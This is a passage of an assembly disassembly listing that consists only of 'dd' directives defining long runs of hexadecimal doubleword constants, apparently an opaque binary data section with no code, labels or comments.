		dd 40F8001Ah, 17CD7A16h, 60061B4h, 0C1B1F5DBh, 3B5D8458h
		dd 0BABB07B7h, 21D94000h, 9CBB7CE1h, 5E2E26E4h,	68005FC8h
		dd 1A7B1155h, 0E1EB0543h, 0C092BAA7h, 0BF9DC20Eh, 0DCE2CE51h
		dd 0D5009391h, 27C34ED1h, 3882AFDFh, 98811CE1h,	0CA94DB36h
		dd 5E1A8080h, 0CF155B25h, 3FEE1Fh, 0AF87F4A5h, 0DAAD19C5h
		dd 0E3D3BF00h, 10EE7EFh, 0C9E60017h, 85384CA7h,	5C07DFF1h
		dd 8CF0B686h, 69221F0h,	0DDCA00F9h, 8FCB9E27h, 3400BD20h
		dd 1A14BF4Eh, 661E04ABh, 2189080Ah, 4EFCE300h, 8B19BBAEh
		dd 90C6000Eh, 0D9108CF4h, 763006A9h, 0AB9D28C4h, 0A5C00D3h
		dd 12B78B34h, 81033913h, 479B79F6h, 0EA76F820h,	1FCCFBA3h
		dd 0C427A9Dh, 8DE18EC1h, 3E98F20h, 21513CCAh, 875D094h
		dd 42C7EB00h, 0E3CB43C5h, 94BA133h, 0B2100F0h, 0B24942DFh
		dd 9F020A29h, 221078E7h, 89A423C6h, 12CB0800h, 0EF8BB92Ch
		dd 3A6000Fh, 606A737Dh,	0B700F7B0h, 535772CCh, 636118D6h
		dd 9DAAA0A0h, 9F04B287h, 178C8Eh, 0F988C08Ch, 0A1338BEEh
		dd 0F708E1h, 0D0C58F60h, 12A0B189h, 6916E5Ch, 0D4A4406Ah
		dd 5FF60760h, 90BE9F76h, 0B82FC255h, 0C6A52C00h, 0AC5028Ch
		dd 34C70094h, 895B8508h, 0A92C2066h, 0E3003F2Eh, 187FD514h
		dd 562116FEh, 618203EFh, 0DCD8DDECh, 407D29BDh,	527A907h
		dd 7E80652Ah, 0C203DBh,	8A3B55F5h, 0CEE9310h, 0C7153500h
		dd 7ADBCAAEh, 0B5943A73h, 95CC8200h, 3F03C2D7h,	0C8A5D606h
		dd 6008AE36h, 0DFF421CDh, 0A0096C2h, 2C8B437Fh,	0C5CBC05h
		dd 0CC8A529Ah, 0A2005448h, 0BDA11B0Ch, 1098DB6h, 0AC89884Dh
		dd 0F8E707CAh, 847AA65Dh, 0E1B61606h, 81CBE9h, 3D310AECh
		dd 868EDB49h, 8F34133h,	0D2100D9h, 878F3103h, 0A4242750h
		dd 0B90381E2h, 0C00532D3h, 0EB33CFD6h, 6080BDE5h, 827C09FCh
		dd 18C4C478h, 0A91BD08Dh, 0E04680E6h, 40310702h, 0C731E349h
		dd 2F200A10h, 0A8F59900h, 0CC7DDEADh, 0A4AC5491h, 0D8048C78h
		dd 0FE3F02C2h, 0F20E062h, 126C2E1h, 493402E4h, 82B6394Ch
		dd 81357BC0h, 0E39091B3h, 31080818h, 0C4EB493Fh, 0A0F74CDDh
		dd 3D1000A4h, 68CC6C4Ah, 0F8009921h, 8C0B709Bh,	7A657E5Dh
		dd 0BCFF076Eh, 902BF1A8h, 1A90A0Ch, 0D3D55Ch, 0F3CDDAD7h
		dd 0EB1972h, 0A4E7C963h, 1B5DDDF9h, 930731F8h, 66324838h
		dd 39E92960h, 0BDCE0369h, 0F5C61D42h, 21800830h, 39E406h
		dd 0FCBD109Bh, 0FAA37F0h, 9800A773h, 79478745h,	158ACE7h
		dd 49C7601Ch, 0D31F1EE5h, 0A914000h, 0ED99973Eh, 0B2621955h
		dd 8B2A0805h, 1425E21h,	9EF7C827h, 16C9F0F8h, 0CDAE43Bh
		dd 6E607155h, 49309107h, 8437B5FFh, 331B4F30h, 48A0D838h
		dd 5AEE309Ch, 46117960h, 3EB88B8h, 3625B3FBh, 8305BE3h
		dd 6FB9216Ch, 66FC88h, 6732804h, 0B7459CADh, 50582F6Ch
		dd 88FA8C3Bh, 6BFBEC10h, 886EA4E0h, 0F65ADA00h,	28C73DBBh
		dd 4BB410D0h, 0AD0D0031h, 1B5C3586h, 602F6EDBh,	8D4BA543h
		dd 0EFF12000h, 0E7430670h, 0FFFEEBh, 215DA36Dh,	0C12DEDE6h
		dd 0CDD8E903h, 0D0356926h, 14F2B95h, 0DB8944A3h, 0D44AB567h
		dd 0C3006401h, 1440586Bh, 608748FEh, 55BDCFAh, 2B006DE0h
		dd 7CB557C5h, 8D40E4h, 239EEC69h, 0D15B97BFh, 6C01CCB0h
		dd 8F60B468h, 8E0F3E6h,	0CE6607EAh, 402EBC0Bh, 1DC2790h
		dd 6B749600h, 0AC8E8F99h, 23732410h, 629A003Eh,	1A700DA9h
		dd 2146D100h, 0AA97042Ah, 0E0590042h, 0A5E8750Eh, 0E63DF73Fh
		dd 7FA7D841h, 0B8124700h, 0DC756326h, 775B2C9Fh, 95F0013h
		dd 4B6F78C2h, 7BDF60EDh, 0A0F0B6F4h, 0D5B4E800h, 819608FFh
		dd 0E8FB87Dh, 337A6083h, 938CD04Fh, 0E8072418h,	0B784FBF4h
		dd 0E7C8EBE0h, 0ADB83C48h, 8CC71606h, 5F0C28C3h, 61A3186Fh
		dd 0C8CC0038h, 2641D640h, 0CB0FF20h, 0F7D4A0Fh,	0A4AFA0FEh
		dd 31495CBh, 7B6FB4FAh,	282167EDh, 190038A1h, 95CDC4B0h
		dd 0D818326Bh, 9E78D188h, 0E9A21ABBh, 1C18D124h, 19C62B0Dh
		dd 0FC06B2Fh, 0B7829883h, 8969859h, 6026907Ah, 0A8CEC06Ah
		dd 20D037A3h, 88D5A85Ch, 1D90E9FCh, 522FA0Fh, 266D6131h
		dd 21A668BBh, 0FB62047Bh, 0EEC0AE72h, 7AFF5Ch, 1EAC9E86h
		dd 830C3707h, 0E926B1C0h, 3EF65CDh, 0BFEAAF10h,	0D9A00F74h
		dd 6A63F669h, 3980D51h,	0F9DA7231h, 0A2E06D51h,	86006B36h
		dd 790EFE32h, 1B621CF7h, 78F5A673h, 0F42640CCh,	0AD2640Dh
		dd 4BB8D41Bh, 0BBC708A0h, 550A249Ch, 0A7039895h, 0F8979E4Fh
		dd 1F562D1h, 0B68078B4h
		dd 0E0CEF2DFh, 0A218749Bh, 207969E8h, 8F8828CFh, 7E384424h
		dd 783F648h, 54F7329Ah,	1490B194h, 0EAEF801h, 0B82848F9h
		dd 515DE860h, 67F8C714h, 0E9FDCCA0h, 5F90AF03h,	3E79B724h
		dd 11039B39h, 0C8FB3312h, 0C98BFCB8h, 21C0B0F6h, 0D11E539h
		dd 4FCE091Ah, 1C0F9F5Ch, 33481081h, 0C5CBB0h, 5BDB7BE4h
		dd 260A6A5Fh, 8879A7F5h, 0CC346F00h, 39D182EBh,	93800141h
		dd 8695E0F6h, 7061B7Eh,	81EBF4F9h, 14B67520h, 20420FADh
		dd 0E10762F0h, 3C310886h, 0ED03A0FCh, 1F9E3FC8h, 0FF2B690h
		dd 0B461C61Eh, 4EDE05h,	0E1FBF7Bh, 78C864D6h, 29B07FE3h
		dd 60BC084Ch, 0D6278120h, 96200065h, 66D48AE3h,	0F400AD78h
		dd 67373610h, 246A6F8Ch, 8024B357h, 0D6B90E96h,	9A0713EBh
		dd 9F5B354Bh, 90217146h, 70B903EEh, 0AB1A7C67h,	0DD32CC80h
		dd 0B8EFA901h, 0B69B4D16h, 3062B6BAh, 8C82D7EBh, 6A214673h
		dd 0F022DCFFh, 68095274h, 60D61B02h, 963118C8h,	0D6237510h
		dd 9B0F5B07h, 0CC20413Dh, 0F7F65D93h, 0D29641E2h, 0BA83A9B9h
		dd 96D368F5h, 6EE81064h, 0D2B91A60h, 9EF3EB10h,	778368C8h
		dd 0EBFFB912h, 82A2EB7Eh, 0B4B0484Ch, 1F2892B5h, 0C357BDh
		dd 387570A6h, 0B900BE44h, 0D4EE4F4Eh, 7060FB0Ch, 0FA7A00C1h
		dd 5F9E6F3Eh, 7B2441B4h, 4F60D80Fh, 161D0E63h, 0CAB3A14h
		dd 47083E21h, 0E805899h, 0BB259C57h, 650926C4h,	20E50960h
		dd 5B73C080h, 78203826h, 0FFA70799h, 0C30ADD2Bh, 7010A532h
		dd 68C00CFCh, 9214300Eh, 584B448Ch, 0FD0E7004h,	0A8C1C618h
		dd 48067AE1h, 6207FE46h, 48141A0Eh, 6A5670h, 0E121EF0Eh
		dd 6012BDB0h, 0C1F7FAE8h, 68E851AAh, 3AB8505Ah,	0D500FBE5h
		dd 175DBD21h, 0D36D3h, 0CB07F1D1h, 2F23929h, 0EC57101Dh
		dd 99B44B04h, 961C3481h, 895D8611h, 875AD368h, 5CCA3D40h
		dd 6480E011h, 72141C0Eh, 2C48448Ch, 0A30E6C00h,	5BF43443h
		dd 0B5C904Eh, 5778E736h, 413B6804h, 7663F432h, 9858209Bh
		dd 0B5FEC0A7h, 0D9D4CDCCh, 8C5EE8B0h, 22414000h, 0B0EC90F0h
		dd 1130B137h, 3AE10050h, 0B5092349h, 817C1F6Ch,	3470148Bh
		dd 0D4B91080h, 9F4343EBh, 8298873h, 28C8B900h, 0EEFAE092h
		dd 26A339A7h, 77C63585h, 0D17480FFh, 7D4880DAh,	8CBCE8D4h
		dd 26C07C14h, 394137F8h, 0AD6CF071h, 31A5420h, 0DFFF5231h
		dd 3900BB13h, 83A80EEDh, 1F2FF105h, 4069A68Dh, 0C2C14B7h
		dd 0BD044FC8h, 0F4CC395Fh, 0FC5B24C3h, 0C135C21h, 63D62E1Ch
		dd 40502137h, 42D62470h, 0E034F309h, 351C037Ah,	26B39348h
		dd 7E50FBB0h, 0EF00BD46h, 2C1127C9h, 1E0A8E83h,	0BC6568EDh
		dd 86AD5982h, 0B776C0E6h, 0F47F1751h, 64B207A2h, 41B087E8h
		dd 8CB6C7FCh, 0E87AD290h, 33A2886Ch, 5549549h, 5E54C874h
		dd 0E3E18883h, 6DFF8827h, 40704518h, 0B5D4E95Eh, 0FC35B8A0h
		dd 841D570Ah, 0B017A55Ch, 2EF9C47h, 826C0DE3h, 5FA89998h
		dd 0D6241D18h, 7C211862h, 9F00BA11h, 0C6E4D625h, 3309F8F3h
		dd 39745C1Ch, 6C02AF8Ch, 5AD53620h, 817E7968h, 307CF040h
		dd 2F1E7F0Fh, 4CD8DABCh, 0C89E0D74h, 2218CB0Ch,	48C7E6Ch
		dd 141B0E61h, 2745626Ah, 0C30EA059h, 260AE3E2h,	80A438D8h
		dd 10FB6A09h, 9AAB050h,	0BB3EE0B4h, 11D98091h, 0A7E411ECh
		dd 0DF960CC8h, 0BAD0B7BCh, 2418ED88h, 3D4A243h,	0E667C7FBh
		dd 4CA2026h, 0D606D64h,	0EB71E9B9h, 5A229E43h, 0B9057803h
		dd 1C71EA19h, 8806B550h, 0EC89D4CBh, 0EA78A272h, 0FE6A307Fh
		dd 0C8183748h, 5B0F8099h, 93957CDFh, 860530C6h,	0D1489918h
		dd 5BD1844h, 0DBA6A703h, 150D57Fh, 7A69C730h, 756099A0h
		dd 49FAB431h, 28E19148h, 0E902D876h, 0DB330E11h, 3D10AD31h
		dd 8E1D11F1h, 0B2C26DBBh, 67B507F4h, 6059E4ACh,	121E4717h
		dd 1C683827h, 6F2CCB24h, 5E11109Fh, 0F8EC0980h,	16F652BBh
		dd 4EB9B26Eh, 0E1293BB7h, 19827AEAh, 479C3C34h,	253E8C41h
		dd 2714F07Ch, 90632030h, 8F44FFh, 0E03265Dh, 87E9E176h
		dd 0CA4B3400h, 171C66Ah, 0D99000B1h, 243895CDh,	0D560EB5Bh
		dd 0E1707650h, 20967085h, 863BD2ACh, 351300AEh,	0F7EAA2C4h
		dd 7EE20051h, 38657888h, 0E9608B1Ch, 4D210140h,	0D258C0DBh
		dd 7FB43362h, 74A5E02h,	0B0235F94h, 1111D6DCh, 88D3330Fh
		dd 0FE3A80AFh, 2433F711h, 0D0A38403h, 76DEB41h,	0C86CFBD8h
		dd 28A06DD8h, 0BFFF1544h, 0EBF102ECh, 40B9DBD0h, 132461A4h
		dd 2474D238h, 0D85AC160h, 484C32C2h, 142C797Ch,	820EBB8Bh
		dd 0F46EB79Fh, 1BE2D1Fh, 1E2E6EFBh, 8069FDC6h, 66C0DD21h
		dd 1B1619F5h, 0B8C8E0C7h, 0FA9479E0h, 0A3C4F894h, 0D2074018h
		dd 9D0C9B4Ch, 3800BD10h, 0D6AEA514h, 8609FF41h,	6C51E762h
		dd 0F65413Ch, 0A7841120h, 4BD0E981h, 97910237h,	80A491D4h
		dd 9EF626EFh, 0FF8C28A8h, 803F76C0h, 4AB03C32h,	0C055E0CAh
		dd 0A97E6E00h, 938B1F31h, 2C5A70C0h, 0F82F1408h, 0CD009C9h
		dd 1C768410h, 7AF51800h, 11EA4CBBh, 0C40300C1h,	6F53A2E4h
		dd 0B9C9AB22h, 9D709013h, 82600050h, 890E92F1h,	0D0253FFh
		dd 0EEF4B063h, 1C850967h, 96DC5DA8h, 898440A3h,	64933270h
		dd 10593BB0h, 12B0002Ch, 0C4A6E885h, 0DA7821h, 4CA4320Ah
		dd 5CC87C2Ah, 29BEF9h, 317AFE09h, 6F3CCF1Eh, 7E3D1880h
		dd 0D05DC501h, 0CCA07EEAh, 1C25D3D6h, 35240130h, 0C4F833C1h
		dd 0F432063Ch, 18D0A123h, 0FFD922h, 62216AFCh, 713492E1h
		dd 6C2E0B30h, 9CC9CCB6h, 3C6C91F8h, 0A37802Dh, 4D6A8596h
		dd 83442E1Fh, 0E2803BCh, 29003C0Ch, 63CA73AEh, 0F0A81E60h
		dd 35C40056h, 0A0B30114h, 67188D0Dh, 42617057h,	599B00EFh
		dd 74546129h, 0B09A10Dh, 8492E402h, 7CA05BC5h, 62B41920h
		dd 0FC15A032h, 1A0E46CEh, 70997F9h, 609EE167h, 0EAE34912h
		dd 55500EEFh, 32E49945h, 0A4B780A8h, 0EC0340D6h, 0AC9B68DAh
		dd 47EFB077h, 0BF31C0E1h, 2DDE2860h, 5130A8E8h,	2A9218D6h
		dd 39D90B9h, 0CFD761D5h, 0DA008F18h, 19D26C44h,	6B958h
		dd 3680F89Ah, 16791C7Ch, 295BF300h, 73C84A18h, 28E07245h
		dd 18C63D7h, 9E7ADEE8h,	20BBC920h, 5060D1B0h, 4799970h
		dd 0D015006Eh, 2320E303h, 805C6983h, 785C0015h,	0C904E429h
		dd 6BD400D6h, 0F61AB8E8h, 573AA9EFh, 8C393E01h,	0C1F45EDAh
		dd 0C40C1B27h, 20D030DCh, 3E0C387Eh, 14537F98h,	0E3FC93h
		dd 498AFA05h, 48BF91F3h, 207EFF30h, 0DC5AD1h, 0AAC41872h
		dd 0A4861B66h, 3646CB00h, 0A0F9E616h, 0ECBDB849h, 65FCF5h
		dd 7C4C95EDh, 0FFCA8033h, 2A48E860h, 6E8E6Fh, 0E149A19Eh
		dd 255D5107h, 53ECFE1Dh, 28B2188Ch, 0DCE0FD74h,	113760BEh
		dd 1415311Fh, 2A2F6D07h, 83DFE98h, 2D2100EFh, 78AC1539h
		dd 0DEA03677h, 7F1C3335h, 9A1C46EEh, 0E8AA1706h, 0A8733FA8h
		dd 7E3E38E1h, 59845836h, 5E1DC0Ah, 842180CAh, 0DC58C740h
		dd 5BDD0132h, 5DFB7365h, 0E2CBD4E0h, 744B1F1Bh,	0FD07D848h
		dd 6F78C181h, 9E1C5143h, 551D7441h, 9F160306h, 737F0010h
		dd 25E47EEh, 320EFA12h,	8CF809EAh, 1E2A217Bh, 0D26747DBh
		dd 80F30024h, 5171C04Bh, 5D1876E6h, 3679D4ABh, 24F71C12h
		dd 9F71C3D3h, 831DACBh,	2A0C211Fh, 0ABAFFF4h, 3193B72Eh
		dd 3DA13D80h, 0EFDC6F81h, 0D5185A05h, 366DD88h,	4FECB4DCh
		dd 80F815B7h, 9B74A06Dh
		dd 0E71E8E12h, 762F0443h, 8CA07547h, 91F72C39h,	3088C7D3h
		dd 0F7049680h, 5FC0C3h,	75943D35h, 314F18EFh, 0FB12B50Fh
		dd 0A11F0389h, 60306473h, 0F73F6082h, 4FD33F31h, 32722C3h
		dd 0A4F7170Fh, 0E1E8BFA6h, 94019A95h, 98CD4BEFh, 44205421h
		dd 0AE9D0129h, 51DAAB7h, 80F33151h, 0BB02D318h,	0A779C6E3h
		dd 61236440h, 7DFC1BADh, 5D50984h, 7C0E6A75h, 81161531h
		dd 36491FFCh, 0ED129B00h, 3FB0AE96h, 0B008D7Eh,	0FE8E5CD8h
		dd 9F00CD62h, 0EA5D5549h, 3C58CB29h, 0B503C0A8h, 595346Eh
		dd 76E1B010h, 4130EC1Ch, 9B02D77Dh, 0B6502034h,	0D51A1614h
		dd 7F3506DCh, 481875D2h, 58945047h, 0E31F2A23h,	0BA0295C4h
		dd 0F02E7662h, 44155800h, 0DF53E096h, 2E1FE493h, 576D2944h
		dd 92204262h, 0F461536h, 93550D17h, 0E7EB3120h,	4BB02D99h
		dd 8600EC72h, 4BA3FCBEh, 3E7C812Fh, 1B0123C3h, 9D9807B9h
		dd 0C011D005h, 0A09AFE1Dh, 0E8A51500h, 1F844C7Ah, 8C1FF6h
		dd 23C5676h, 0BB61A639h, 0F3D6FE40h, 0C0E5599Ch, 789A3E1Fh
		dd 330F9CE6h, 8061B050h, 5CF8291h, 91709842h, 18D0D120h
		dd 0F93500E0h, 9A558E74h, 508FAA8h, 8053A6F7h, 30B0898Ch
		dd 5200DCEEh, 93965167h, 98748A63h, 0EA7E18E9h,	5F138017h
		dd 6A579000h, 47CB5A41h, 0A47F501Ch, 0FCAC0080h, 0A290CC86h
		dd 9F026B8Ah, 35992325h, 15EA00FAh, 0CA03617Ch,	76810531h
		dd 3D19002Ch, 49AE68BEh, 0BD2161FBh, 0A5550406h, 4CCC7E0h
		dd 68660054h, 1C4172C9h, 41868ADDh, 4D02A00Ch, 66242076h
		dd 0ED014AECh, 5FD7DB7Fh, 18809752h, 8B48D568h,	0B67F4569h
		dd 11003458h, 173F8D07h, 0D00028C9h, 5AE9ED9Fh,	39302FCDh
		dd 7330A919h, 0E6ACA8FDh, 3AA1F88Dh, 0C90042E7h, 25FAF180h
		dd 590061BCh, 7C20C670h, 246E2681h, 80E0BAE2h, 7A39B833h
		dd 6A0EAC9Ah, 0C0E83A55h, 1DE5F782h, 4711006Fh,	93EBAE1Fh
		dd 8B00F3B3h, 0BD9DB0DEh, 0E86AC9B6h, 201E6092h, 73F0079Ch
		dd 0ACCE153Eh, 3A0DB0h,	0EA09DC46h, 414239h, 3CEF70FCh
		dd 815A9B7Eh, 7B30AE72h, 0BE334053h, 0D2FF0004h, 58A00D20h
		dd 9F74BDD6h, 0CC21BB63h, 6EE5806Ch, 7A5507E8h,	0EE70CDB1h
		dd 0BD8500DDh, 1BF7FC40h, 0C78E0C00h, 91FE8CA5h, 81E1C34h
		dd 0B3354DECh, 8F4EE048h, 7C03187Fh, 3172B875h,	0AF08307Dh
		dd 1882BF21h, 7C7A4603h, 1A70164h, 0E6D0E919h, 0E87DFDF6h
		dd 71020A50h, 0F7488B07h, 0DE84A033h, 0C0CE6813h, 0DB21A780h
		dd 0A8A84874h, 286146Dh, 0DE89EF11h, 90196A80h,	0EEFD9A10h
		dd 40593100h, 8DF4251Ah, 21EC0042h, 5AA5FC48h, 0A201C19Fh
		dd 41A71DFEh, 6880828Bh, 0EFC214C0h, 67007E90h,	289568E0h
		dd 1293347h, 10244F96h,	0E093408Fh, 9100A1F6h, 4552D25Ah
		dd 795F9A6h, 57828138h,	16FF803Bh, 0D63DC89Bh, 1300F68Ah
		dd 65D839ADh, 4835BCh, 0C02C2F42h, 0D0D62A9Bh, 206B2E00h
		dd 99380663h, 84020F7Ch, 4187EA21h, 80A9843Bh, 0C55546E9h
		dd 8D3A917Bh, 0B7D000BDh, 1D3E2734h, 0BA9A0653h, 189035EFh
		dd 0BBBDDC1Bh, 0C347C020h, 319A607Bh, 0B391189h, 267DCDB8h
		dd 8E65C1Eh, 3062807Dh,	40E2D96Dh, 0D52C05C8h, 3CFD8FC4h
		dd 0B106B714h, 4B16E995h, 0F7731779h, 11A41923h, 0C6045B34h
		dd 0D14D27h, 193864B3h,	0E209639Dh, 7FC76E07h, 30900572h
		dd 0FC2911h, 0F31AD4AEh, 26584DE1h, 0F9E5C801h,	196F2D46h
		dd 650AD8h, 0A616018Dh,	0F297BD2Ah, 91BA5Ch, 0F3639FD5h
		dd 1DC0A3A7h, 0C7577364h, 9027DD9Bh, 0FA1DDB0Ah, 881E3100h
		dd 0D1C3B056h, 7943006Bh, 2A30A313h, 0C1009D41h, 8065DE3Eh
		dd 0C0D37C3Dh, 2F1FD414h, 0F0E4A2F5h, 4D0ED77Dh, 0AEE2E9h
		dd 6E8A1DCh, 40422472h,	1D20048h, 0B38D9B28h, 6DBFA007h
		dd 0CD7043FFh, 3958670Fh, 47F5D21h, 0D3474DADh,	6348026h
		dd 7A0EBB32h, 0A0833928h, 99C5157Fh, 7DE056h, 7B64F55h
		dd 5BAC9DD7h, 80C7613Bh, 102386EBh, 0E6EE99h, 0A77CF4F2h
		dd 87B29156h, 3827120Fh, 18EA20FAh, 90F29DCAh, 0EC5C0F57h
		dd 95467B31h, 0A1001024h, 0AFDA907Eh, 3E80BE25h, 0DF80BCE1h
		dd 53F51BEAh, 372BFF1h,	0C442E8A1h, 0A23B2EF8h,	7207005Dh
		dd 1332DB04h, 103562AFh, 9EC02B75h, 0F267CA7h, 0A61E66BDh
		dd 0F5D49C80h, 907958Ch, 98506FAEh, 0CABC8280h,	0F004A763h
		dd 0C87D67EFh, 99281C90h, 4A7CA0h, 0CAB8138Ah, 1BA6A70Eh
		dd 2116A900h, 6609E914h, 1EBE009Ch, 0BF4C4715h,	5D3D8768h
		dd 0CC1700A2h, 1779D6Dh, 0F7875F1h, 61A8817Fh, 0F63BF840h
		dd 0D60070ACh, 31FBEAD8h, 0D17630h, 0A67AECEFh,	7E2F86EDh
		dd 22F79A00h, 5A2BFB41h, 13197C83h, 10F0824h, 0F1339248h
		dd 0C9AEC68h, 58D72601h, 3EB18378h, 0C169F080h,	6696B0D2h
		dd 0F400EC7Ch, 0A60E8719h, 2A12F35h, 0B5747957h, 6FC02106h
		dd 0A400099Bh, 175D1DE3h, 9092DBE5h, 903760A4h,	7FCB8018h
		dd 3A78A800h, 76346FD2h, 0C37D0017h, 5DF4BFE4h,	88243D10h
		dd 78011029h, 0CF07424h, 12539620h, 21E781h, 0A5F7E2C1h
		dd 0FBF6208Fh, 443FAFB0h, 0A88A8087h, 9767ECD1h, 0C4C250FDh
		dd 6D9C0E2Fh, 0B760F61Dh, 1B601A48h, 747058h, 46AFA68Bh
		dd 509411h, 0CAA96807h,	0B614C82Ch, 0C4D70400h,	0DB99F082h
		dd 70717FB9h, 0F3B70015h, 1CB093EDh, 0E0001152h, 3C5CC530h
		dd 78506BC7h, 0C180A388h, 22009021h, 2C007BEDh,	0B86A27Fh
		dd 0DA07CAh, 2DDE6DF7h,	97F4D40Dh, 0E8D7121Ch, 5C0F366Eh
		dd 4450C0B8h, 0AB37F7h,	9534BE5Bh, 23710BC2h, 127AEF00h
		dd 0F86C0456h, 93E4ECh,	0AC060E13h, 24989EBCh, 6BCBF100h
		dd 0F4C7D45Bh, 0C0A21C11h, 66485D60h, 0A856012Dh, 0D379C3F1h
		dd 99FDBEE8h, 29B4F400h, 154FB04Eh, 61A1092Ah, 0C480E620h
		dd 189794BAh, 0DC9B6501h, 176911B0h, 207D1881h,	0D0124A6Ch
		dd 2C03B464h, 999F787Ah, 73BBD061h, 0C6D3E4Dh, 0DFD9BD9Dh
		dd 0CE084020h, 0F906ED3Eh, 0E369C400h, 4D18D32Dh, 39E1004Eh
		dd 0DCA811DBh, 0AD1DEDDAh, 1D03E421h, 0B8263B5Ah, 51D0BAh
		dd 0E68B68C9h, 0ECAAD34Fh, 859C5301h, 7056C096h, 587CBE4h
		dd 0A314EBB5h, 90A103B9h, 0F29874BCh, 9A1280ECh, 0FC4E20F5h
		dd 0B26EC063h, 39F86947h, 0EB803C76h, 0C856B480h, 1B014EFFh
		dd 6CB9C5A6h, 50ECE4C7h, 3C9D005Eh, 81A2B22Ah, 5A07BA6Dh
		dd 0B1986B33h, 1AB51030h, 36FF3D97h, 8480D0B9h,	5404A6ABh
		dd 280E538Ch, 0A0F287C9h, 9345914Bh, 16CF004Eh,	0C3718FE7h
		dd 7700172Dh, 0B0CD3167h, 481FCA60h, 0B4816CBCh, 200E8C74h
		dd 290091E9h, 0D7CB960Fh, 75853C42h, 0E4F500D9h, 0C236B351h
		dd 541D9D73h, 0CE826EEFh, 61472BD8h, 0A8ECF715h, 0DCC53ED4h
		dd 0AA150681h, 0D0B0228Ah, 2403D823h, 9A5FDF96h, 0E857F020h
		dd 0D9124D6h, 0D541806Ch, 0D4885EEDh, 9C590313h, 6E3A9440h
		dd 0F6F6A035h, 0A2DE00FEh, 43F35BE6h, 8E01D7D2h, 0AA62CE27h
		dd 8060316Dh, 0CDEB2C6Fh, 7320764h, 0C5AC704Ch,	0C603642Bh
		dd 69EC7391h, 0DA1BF897h, 63D81E24h, 824340A6h,	1E6BAEA9h
		dd 4513AF00h, 57F9C9EEh, 0F22401C2h, 934C9142h,	0B272E88Eh
		dd 0B1903Ch, 2B6EA823h,	608DE979h, 0EBC8A02Ch, 7600EEE5h
		dd 8090E05Ah, 0E777554h, 72334E4Ah, 0BB8E9A00h,	0E4F81B55h
		dd 49071474h, 0A126ECE3h
		dd 0B5428BA0h, 98D100B7h, 9D476A08h, 0DF0067C7h, 89D425CAh
		dd 0FA6D4Fh, 0FD34A34Ch, 1A1CE351h, 55909E00h, 9B1D8D0Ah
		dd 0F29401EFh, 7546814Dh, 0D027E92Fh, 0B6989815h, 3B386300h
		dd 471CE07Eh, 0BB5F0088h, 0B81AA4FAh, 4C091779h, 635DAFh
		dd 4956C6B0h, 257200BFh, 1D572BD5h, 0F306A69Dh,	51AFBBA9h
		dd 4A270F10h, 0F441C79Bh, 0C0CAAE50h, 0FA7E78F2h, 0A68074F5h
		dd 3F3D5900h, 0F901D82Fh, 854317F7h, 0D5BB07A8h, 72242069h
		dd 0D300A088h, 215F560Bh, 3D6D1159h, 1289E991h,	0F0808DEFh
		dd 231F4E88h, 16ED623Eh, 94437453h, 9829853Dh, 0F6ACE35Bh
		dd 956F0194h, 9BB7BECDh, 9C8AE0BCh, 243F333Dh, 0B5803C29h
		dd 410C755Bh, 36CC1D74h, 6FC50F72h, 0D855B8E0h,	0C0E86910h
		dd 0E37DA300h, 0E1729182h, 0F82B03C8h, 3543AEF4h, 896F3EB8h
		dd 84C52400h, 0E94523Ah, 0B0FE48BFh, 0E3932707h, 0C361AFB4h
		dd 0D31B1311h, 0EF249101h, 4A4805BAh, 5408685Dh, 949C0CA9h
		dd 7038AE6Bh, 3B1849EEh, 0A3212A03h, 511CA069h,	0CCD400A6h
		dd 0AAB1E441h, 5F0011E9h, 0A24EDFB8h, 6E963Bh, 44973F21h
		dd 377F6829h, 0BD00477Bh, 5230B6DAh, 2845573h, 0D2FFECC2h
		dd 0DB80680Ch, 0B639107Dh, 818B2000h, 0B483C9CFh, 0F1AE3B76h
		dd 0A754EE80h, 0AC0EE80Ch, 7D6B609h, 0FE950084h, 73680Bh
		dd 9DA2AB69h, 9F3DC5D5h, 1061DD03h, 0E8F19B2h, 56AF65A0h
		dd 0F298EB40h, 6B00408Bh, 60AD994Ah, 0C7E907h, 0C5DF3665h
		dd 27063C7Bh, 0D0F0BB60h, 0CAEE20h, 87CF4021h, 0FD29F860h
		dd 783BD61Fh, 6837BB09h, 1D3F0A24h, 1F9BA291h, 18F8997Dh
		dd 211040C6h, 0A4A88C29h, 2060B018h, 0B238BB18h, 370600A7h
		dd 1DDADE96h, 7600B8FFh, 91973E3Fh, 4BB9BCF0h, 0DC144341h
		dd 21C82B3Bh, 9A88BE16h, 0BF8C1D41h, 0A97F0044h, 0A502D63Ah
		dd 0C1F322h, 39ADA48Bh,	0CDB11385h, 5924F6EEh, 760030C9h
		dd 101ED1F0h, 9C93031Bh, 94388DECh, 0A4877BC0h,	4500477Bh
		dd 3EEBE2D6h, 58CA61h, 0A7D8E5E0h, 523F1EF7h, 959E2700h
		dd 1CB4A4E9h, 0CB1E6ECh, 383EBCF9h, 0CA07E6B9h,	0EBFE64C7h
		dd 5658C0A0h, 3D9F1E85h, 0A26D03C9h, 0E0E73998h, 7C08E2A1h
		dd 63BBA3Eh, 0C20586ADh, 7E582119h, 2010433Ah, 248E8A4Ch
		dd 0B18CB884h, 982A248h, 1579791h, 0BEF037BFh, 0F5EC0790h
		dd 804B2E1Dh, 9372DEE0h, 2AB60C29h, 9F20BD8Dh, 0F2BB2F0Ch
		dd 8833504Ch, 9437836Bh, 87373923h, 0A3A148A0h,	7C5FF0D4h
		dd 0B67800A0h, 3544E291h, 0EC8007F0h, 37DF0A0Fh, 2080AF2h
		dd 30934AEh, 2180B727h,	3DF5055Ah, 0BD0CEEDEh, 7E19ED6h
		dd 77C23118h, 4021D8C8h, 0D00147ECh, 0DC20AE62h, 0D18386A9h
		dd 756790ACh, 4F0C968h,	0CBD37857h, 396D3Eh, 0A5A38B40h
		dd 0B0673Bh, 55BDF3DFh,	301AC601h, 83B9D33Dh, 5175EC70h
		dd 202977B6h, 9422F4B2h, 11754256h, 6828A40Fh, 9FEF2228h
		dd 4A11B142h, 146428B5h, 421E8422h, 0C92408CDh,	0E8011A0h
		dd 20F5B406h, 532CAC79h, 5B600EDh, 904869E7h, 4F001177h
		dd 0C0A5F00Ch, 878850h,	0E335A00Bh, 7622D5BDh, 5A2FC200h
		dd 0B65DAEDBh, 7B9E00D2h, 82F32052h, 1200F68Ah,	0C67C9BA1h
		dd 3DFA3F99h, 0F916B7D9h, 35E60766h, 3D3340C4h,	1A00A577h
		dd 32CBB0C6h, 686AFBh, 988BB924h, 1C15DBE1h, 83DEB400h
